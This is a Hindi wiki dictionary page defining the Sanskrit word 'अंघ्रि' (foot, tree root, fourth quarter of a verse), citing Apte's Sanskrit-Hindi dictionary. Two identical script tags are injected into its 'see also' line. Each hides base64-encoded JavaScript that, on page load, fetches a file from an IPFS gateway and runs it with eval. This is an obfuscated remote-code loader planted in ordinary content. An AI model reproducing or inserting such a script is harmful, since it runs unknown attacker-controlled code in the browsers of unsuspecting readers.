अंघ्रि:अंहि:

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

अंघ्रिः-अहिः [अङ्‌घ+क्रिन्]

1. पैर
2. वृक्ष की जड़
3. श्लोक का चौथा चरण

सम.-नामक-(पुल्लिंग)-नामन् (न.) वृक्ष की जड़।-प. वृक्ष-दिक्षु व्यूढाङ्घ्रिपाङ्गः-वेणी. 2/18-पर्णी,-वल्लिका,-वल्ली (स्त्रीलिंग) सिंह पुष्पी नामक पौधा।-पान (विशेषण) बच्चे की भांति अपने पैर का अंगूठा चूसने वाला-स्कन्धः टखना।[1]


इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: संस्कृत-हिन्दी शब्दकोश (संकेताक्षर सूची), संस्कृत-हिन्दी शब्दकोश (संकेत सूची) एवं संस्कृत-हिन्दी शब्दकोश<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. संस्कृत-हिन्दी शब्दकोश |लेखक: वामन शिवराम आप्टे |प्रकाशक: कमल प्रकाशन, नई दिल्ली-110002 |पृष्ठ संख्या: 13 |

संबंधित लेख